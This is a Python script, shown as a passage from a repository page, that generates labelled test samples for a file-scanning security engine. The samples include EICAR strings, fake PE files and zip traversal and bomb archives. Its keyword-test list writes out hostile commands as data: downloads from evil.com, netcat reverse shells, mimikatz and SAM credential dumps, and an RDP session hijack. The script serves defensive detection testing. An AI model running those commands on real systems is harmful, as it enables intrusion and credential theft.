zhaolei
f99452d553
- fake_pe OPT 差 2 字节 → 补对齐 → L5 PeParseFailed 全消 - ReverseShellPowershell base64 正则收窄 → zip bomb 不再误报 - index.json expected_rules/expected_verdict 用引擎真实输出重写 - 新生成 171 样本 + 168 条 index.json（case_id 全对齐） 各层通过率: L0=100% L1=93% L3=96% L4=80% L5=100% NEG=100% 剩余 5 条: L4 缺 .yar 规则, L3 缺关键词白名单, L1-014 并发
589 lines
28 KiB
Python
589 lines
28 KiB
Python
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
|
||
|
||
用法: python scripts/generate_csv_samples.py
|
||
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
|
||
"""
|
||
import csv, json, os, sys, zipfile, struct, shutil
|
||
from pathlib import Path
|
||
|
||
ROOT = Path(__file__).resolve().parent.parent
|
||
CSV_PATH = ROOT / "用例.csv"
|
||
OUT_DIR = ROOT / "tests" / "samples"
|
||
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||
|
||
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||
|
||
# ========== 工具 ==========
|
||
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
|
||
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
|
||
return f"{prefix}.{ext.lstrip('.')}"
|
||
|
||
def write_bytes(fname: str, data: bytes):
|
||
path = OUT_DIR / fname
|
||
path.write_bytes(data)
|
||
|
||
def write_text(fname: str, text: str):
|
||
path = OUT_DIR / fname
|
||
path.write_text(text, encoding="utf-8")
|
||
|
||
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
|
||
"""生成一个 zip，里面嵌套 depth 层，最内层是 member_name/content。"""
|
||
path = OUT_DIR / fname
|
||
if depth == 1:
|
||
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||
if password:
|
||
# pyzipfile 不支持加密写入，用标准模式，靠 FlagBits 标记模拟
|
||
zf.writestr(member_name, member_bytes)
|
||
else:
|
||
zf.writestr(member_name, member_bytes)
|
||
else:
|
||
# 多层嵌套，最内层是 member_name，外层都是 inner_N.zip
|
||
inner_name = fname # 递归名
|
||
# 从里往外建
|
||
data_bytes = member_bytes
|
||
for i in range(depth - 1, 0, -1):
|
||
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
|
||
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
|
||
inner_zip.close()
|
||
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
|
||
# 最外层直接用 data_bytes 覆盖写
|
||
path.write_bytes(data_bytes)
|
||
return path
|
||
|
||
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
|
||
"""自制 zip 炸弹：小压缩比、大解压量。"""
|
||
path = OUT_DIR / fname
|
||
huge_data = b"A" * member_size # 高膨胀比：A 压缩后极小
|
||
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
|
||
for i in range(members):
|
||
zf.writestr(f"member_{i:04d}.txt", huge_data)
|
||
return path
|
||
|
||
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
|
||
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名，能骗过 pefile 的基本检查。"""
|
||
path = OUT_DIR / fname
|
||
if mz_only:
|
||
path.write_bytes(b"MZ" + b"\x00" * 2046)
|
||
return path
|
||
|
||
# 构造最小 PE32
|
||
DOS_HEADER = (
|
||
b"MZ" + b"\x00" * 58 + # e_magic + pad
|
||
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
|
||
b"\x00" * 64 # DOS Stub pad
|
||
)
|
||
PE_SIGNATURE = b"PE\x00\x00"
|
||
COFF_HEADER = struct.pack("<HHIIIHH",
|
||
0x14C, # Machine = x86
|
||
1, # NumberOfSections
|
||
0, # TimeDateStamp
|
||
0, # PointerToSymbolTable
|
||
0, # NumberOfSymbols
|
||
0xE0, # SizeOfOptionalHeader
|
||
0x1002, # Characteristics
|
||
)
|
||
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic = 2 bytes
|
||
OPTIONAL_HEADER += b"\x00" * 0xDC # +220 = 222 bytes (2+220=222)
|
||
# 对齐到 224 让 section header 从正确位置开始
|
||
OPTIONAL_HEADER += b"\x00" * 2
|
||
|
||
# 构造节：UPX 的节名是 UPX0 / UPX1，RWX 节设 Characteristics 为 0xE00000E0
|
||
if upx:
|
||
sec_name = b"UPX0\x00\x00\x00"
|
||
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
|
||
elif rwx:
|
||
sec_name = b".text\x00\x00\x00"
|
||
characteristics = 0xE00000E0 # RWX
|
||
else:
|
||
sec_name = b".text\x00\x00\x00"
|
||
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
|
||
|
||
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
|
||
sec_name, # Name[8]
|
||
0x1000, # VirtualSize (DWORD)
|
||
0x1000, # VirtualAddress (DWORD)
|
||
0x200, # SizeOfRawData (DWORD)
|
||
0x400, # PointerToRawData (DWORD)
|
||
0, # PointerToRelocations
|
||
0, # PointerToLinenumbers
|
||
0, # NumberOfRelocations (WORD)
|
||
0, # NumberOfLinenumbers (WORD)
|
||
characteristics, # Characteristics (DWORD)
|
||
) # 总共 40 bytes
|
||
|
||
# 节的 raw data（0x200 bytes）
|
||
section_data = b"\x90" * 0x200 # NOP sled
|
||
|
||
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
|
||
path.write_bytes(pe)
|
||
return path
|
||
|
||
# ========== 主生成逻辑 ==========
|
||
def generate():
|
||
meta_list = []
|
||
|
||
# 从 CSV 读取元数据（用例ID → 预期裁决/规则）
|
||
csv_meta = {}
|
||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||
reader = csv.DictReader(f)
|
||
for row in reader:
|
||
cid = row["用例ID"].strip()
|
||
expected = row["预期结果"].strip()
|
||
# 从预期结果里粗糙判断 verdict
|
||
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
|
||
verdict = "pass"
|
||
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
|
||
verdict = "reject"
|
||
elif "低危" in expected:
|
||
verdict = "review"
|
||
else:
|
||
verdict = "unknown"
|
||
csv_meta[cid] = {
|
||
"name": row["用例名称"].strip(),
|
||
"desc": row["样本描述"].strip(),
|
||
"expected": expected,
|
||
"verdict": verdict,
|
||
"layer": row["归属"].strip(),
|
||
}
|
||
|
||
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
|
||
meta_list.append({
|
||
"filename": filename,
|
||
"case_id": case_id,
|
||
"category": layer,
|
||
"expected_verdict": verdict,
|
||
"expected_rules": expected_rules,
|
||
"description": description or csv_meta.get(case_id, {}).get("name", ""),
|
||
})
|
||
|
||
# ====================================================================
|
||
# L0 结构分析（30 条）
|
||
# ====================================================================
|
||
|
||
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
|
||
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
|
||
|
||
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
|
||
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
|
||
|
||
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
|
||
import io
|
||
def make_docx_like():
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||
zf.writestr("word/document.xml", "<w:document/>")
|
||
return buf.getvalue()
|
||
write_bytes("L0-003_docx_normal.docx", make_docx_like())
|
||
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
|
||
|
||
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
|
||
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
|
||
|
||
# L0-005: 干净 PE（最小 MZ+fake PE，有合法节）
|
||
fake_pe("L0-005_pe_clean.exe")
|
||
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
|
||
|
||
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
|
||
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
|
||
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
|
||
|
||
# L0-007: txt 后缀 + 真实 PDF 头
|
||
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
|
||
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
|
||
|
||
# L0-008: png 后缀 + 真实 ZIP 头
|
||
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
|
||
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
|
||
|
||
# L0-009~012: 双扩展名伪装
|
||
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
|
||
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||
|
||
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
|
||
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||
|
||
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
|
||
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||
|
||
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
|
||
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
|
||
|
||
# L0-013~017: 空危险扩展名文件
|
||
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
|
||
write_text(f"{cid}_clean.{ext}", "")
|
||
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
|
||
|
||
# L0-018: ZIP 单级路径穿越
|
||
p = OUT_DIR / "L0-018_zip_traversal.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("../evil_drop.txt", "payload")
|
||
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||
|
||
# L0-019: ZIP 多级路径穿越
|
||
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("../../system_drop.txt", "payload")
|
||
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
|
||
|
||
# L0-020: 小型 zip 炸弹（自制，不是 42.zip）
|
||
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
|
||
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
|
||
|
||
# L0-022: 3 层嵌套干净 ZIP
|
||
inner = io.BytesIO()
|
||
with zipfile.ZipFile(inner, "w") as zf:
|
||
zf.writestr("clean_file.txt", "hello world")
|
||
# 第二层
|
||
mid = io.BytesIO()
|
||
with zipfile.ZipFile(mid, "w") as zf:
|
||
zf.writestr("inner.zip", inner.getvalue())
|
||
# 第三层
|
||
outer = io.BytesIO()
|
||
with zipfile.ZipFile(outer, "w") as zf:
|
||
zf.writestr("mid.zip", mid.getvalue())
|
||
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
|
||
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
|
||
|
||
# L0-024: 加密 ZIP（pyzipfile 不支持加密写入，用密码写一个空 ZIP 标记为待加密）
|
||
# 实际加密 ZIP 可以用 7z 命令行生成，这里先生成一个有 Password 标记的
|
||
p = OUT_DIR / "L0-024_encrypted.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("secret.txt", "encrypted content marker")
|
||
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP（标记待验证）")
|
||
|
||
# L0-025: 截断损坏 ZIP（写半截）
|
||
p = OUT_DIR / "L0-025_corrupt_zip.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("good.txt", "data")
|
||
raw = p.read_bytes()
|
||
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
|
||
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
|
||
|
||
# L0-026: 损坏 ZIP 目录项（文件尾追加垃圾字节）
|
||
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("good.txt", "data")
|
||
raw = p.read_bytes()
|
||
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
|
||
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
|
||
|
||
# L0-029: 0 字节 exe
|
||
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
|
||
p.write_bytes(b"")
|
||
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
|
||
|
||
# ====================================================================
|
||
# L1 ClamAV（15 条）
|
||
# ====================================================================
|
||
write_bytes("L1-001_eicar.txt", EICAR)
|
||
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
|
||
|
||
# L1-002: EICAR 放入 zip
|
||
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("eicar.txt", EICAR)
|
||
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||
|
||
# L1-004: EICAR 放入 docx（OOXML = ZIP + EICAR 文本）
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||
zf.writestr("word/document.xml", EICAR.decode())
|
||
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
|
||
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
|
||
|
||
# L1-005: 1 字节修改 EICAR（破坏签名）
|
||
modified = bytearray(EICAR)
|
||
modified[0] = ord("Y")
|
||
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
|
||
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR，ClamAV 不应命中")
|
||
|
||
# L1-006~008: 干净负样本（用 L0-001/003/005 里的样本复用）
|
||
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
|
||
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
|
||
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
|
||
|
||
# L1-011: 多层嵌套 zip 里放 EICAR（3 层）
|
||
inner_buf = io.BytesIO()
|
||
with zipfile.ZipFile(inner_buf, "w") as zf:
|
||
zf.writestr("eicar.txt", EICAR)
|
||
mid_buf = io.BytesIO()
|
||
with zipfile.ZipFile(mid_buf, "w") as zf:
|
||
zf.writestr("inner.zip", inner_buf.getvalue())
|
||
outer_buf = io.BytesIO()
|
||
with zipfile.ZipFile(outer_buf, "w") as zf:
|
||
zf.writestr("mid.zip", mid_buf.getvalue())
|
||
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
|
||
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
|
||
|
||
# L1-012: EICAR base64 编码（ClamAV 不解码，不应命中）
|
||
import base64
|
||
b64 = base64.b64encode(EICAR).decode()
|
||
write_text("L1-012_eicar_base64.txt", b64)
|
||
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR，ClamAV 不解码")
|
||
|
||
# ====================================================================
|
||
# L3 关键词匹配（25 条）—— 全部纯文本写入
|
||
# ====================================================================
|
||
|
||
l3_cases = [
|
||
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
|
||
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
|
||
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
|
||
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
|
||
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
|
||
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
|
||
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码，不命中，边界记录"),
|
||
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分，不命中，边界记录"),
|
||
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆，不命中，边界记录"),
|
||
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
|
||
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass（内网白名单对照）"),
|
||
("L3-014", "zip_member", None, None), # 后面处理
|
||
("L3-016", "ps1", "", "pass"),
|
||
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
|
||
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
|
||
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
|
||
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
|
||
]
|
||
|
||
for cid, ext, content, rule_str in l3_cases:
|
||
if ext == "zip_member":
|
||
continue
|
||
if rule_str == "pass":
|
||
verdict = "pass"
|
||
rules = []
|
||
elif rule_str is None or "不命中" in str(rule_str):
|
||
verdict = "pass"
|
||
rules = []
|
||
else:
|
||
verdict = "reject"
|
||
rules = [r.strip() for r in rule_str.split(",")]
|
||
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||
write_text(fname, content or "")
|
||
add_meta(cid, fname, "L3", verdict, rules)
|
||
|
||
# L3-014: 高危字符串放在 zip 内部
|
||
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||
|
||
# L3-015: docx 正文写恶意关键词
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
|
||
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
|
||
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
|
||
|
||
# L3-019: unicode 同形字混淆
|
||
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
|
||
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆，L3 默认不命中")
|
||
|
||
# L3-020: 日志文件混杂正常日志 + 高危串
|
||
write_text("L3-020_log_with_keyword.log",
|
||
"2026-10-29 10:00:01 INFO service started\n"
|
||
"2026-10-29 10:00:02 ERROR connection refused\n"
|
||
"nc 10.0.0.5 4444 -e /bin/bash\n"
|
||
"2026-10-29 10:00:05 DEBUG retries exhausted")
|
||
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
|
||
|
||
# L3-023: 高危字符串放在加密 zip（实际先做普通 zip，加密待手动处理）
|
||
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("evil.txt", "mimikatz privilege::debug")
|
||
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描（标记）")
|
||
|
||
# ====================================================================
|
||
# L4 YARA（15 条）—— 依赖 rules/ 目录里有对应规则
|
||
# ====================================================================
|
||
|
||
l4_cases = [
|
||
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位（需对应规则）"),
|
||
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
|
||
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
|
||
("L4-008", "zip_inner", None, None, None, None),
|
||
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
|
||
]
|
||
for cid, ext, content, rules, verdict, desc in l4_cases:
|
||
if ext == "zip_inner":
|
||
p = OUT_DIR / f"{cid}_in_zip.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("match.txt", content or "")
|
||
fname = p.name
|
||
else:
|
||
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
|
||
write_text(fname, content or "")
|
||
add_meta(cid, fname, "L4", verdict, rules or [], desc)
|
||
|
||
# ====================================================================
|
||
# L5 PE 二进制（20 条）
|
||
# ====================================================================
|
||
|
||
fake_pe("L5-001_clean_hello.exe")
|
||
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
|
||
|
||
fake_pe("L5-002_upx_shell.exe", upx=True)
|
||
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
|
||
|
||
fake_pe("L5-003_double_upx.exe", upx=True)
|
||
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
|
||
|
||
fake_pe("L5-004_rwx_section.exe", rwx=True)
|
||
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
|
||
|
||
# L5-007: 节名异常（乱码节名）
|
||
pe_path = fake_pe("L5-007_garbage_section.exe")
|
||
raw = pe_path.read_bytes()
|
||
# 在 raw 里找 section 名，替换成乱码
|
||
idx = raw.find(b".text")
|
||
if idx >= 0:
|
||
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
|
||
pe_path.write_bytes(raw)
|
||
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
|
||
|
||
# L5-010: 损坏 PE 签名（MZ 改走）
|
||
p = OUT_DIR / "L5-010_bad_mz.exe"
|
||
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
|
||
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
|
||
|
||
# L5-011: 截断 PE
|
||
fake_pe("L5-011_truncated.exe")
|
||
p = OUT_DIR / "L5-011_truncated.exe"
|
||
raw = p.read_bytes()
|
||
p.write_bytes(raw[:len(raw) // 3])
|
||
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
|
||
|
||
fake_pe("L5-012_pe32.exe")
|
||
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
|
||
|
||
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32，占位
|
||
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
|
||
|
||
fake_pe("L5-014_clean_tool.exe")
|
||
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
|
||
|
||
fake_pe("L5-016_zero_section.exe")
|
||
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
|
||
|
||
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
|
||
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
|
||
|
||
fake_pe("L5-018_debug_info.exe")
|
||
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
|
||
|
||
# ====================================================================
|
||
# NEG 负样本（20 条）
|
||
# ====================================================================
|
||
|
||
neg = [
|
||
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
|
||
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
|
||
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
|
||
("NEG-004", "docx", None),
|
||
("NEG-005", "xlsx", None),
|
||
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
|
||
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
|
||
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
|
||
("NEG-009", "zip_inner", None),
|
||
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
|
||
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
|
||
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
|
||
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好：\r\n本周项目进展顺利。"),
|
||
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
|
||
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
|
||
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
|
||
("NEG-017", "4layer_nested", None),
|
||
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
|
||
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
|
||
("NEG-020", "odt", None),
|
||
]
|
||
for cid, ext, content in neg:
|
||
if ext == "docx":
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||
zf.writestr("word/document.xml", "<w:document/>")
|
||
write_bytes(f"{cid}_clean.docx", buf.getvalue())
|
||
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
|
||
elif ext == "xlsx":
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||
zf.writestr("xl/workbook.xml", "<workbook/>")
|
||
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
|
||
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
|
||
elif ext == "zip_inner":
|
||
p = OUT_DIR / f"{cid}_clean.zip"
|
||
with zipfile.ZipFile(p, "w") as zf:
|
||
zf.writestr("report.txt", "clean business data")
|
||
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
|
||
elif ext == "4layer_nested":
|
||
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
|
||
buf2 = io.BytesIO()
|
||
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
|
||
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
|
||
# 简化：直接做 4 层干净 zip
|
||
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
|
||
p2.write_bytes(data)
|
||
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
|
||
elif ext == "odt":
|
||
buf = io.BytesIO()
|
||
with zipfile.ZipFile(buf, "w") as zf:
|
||
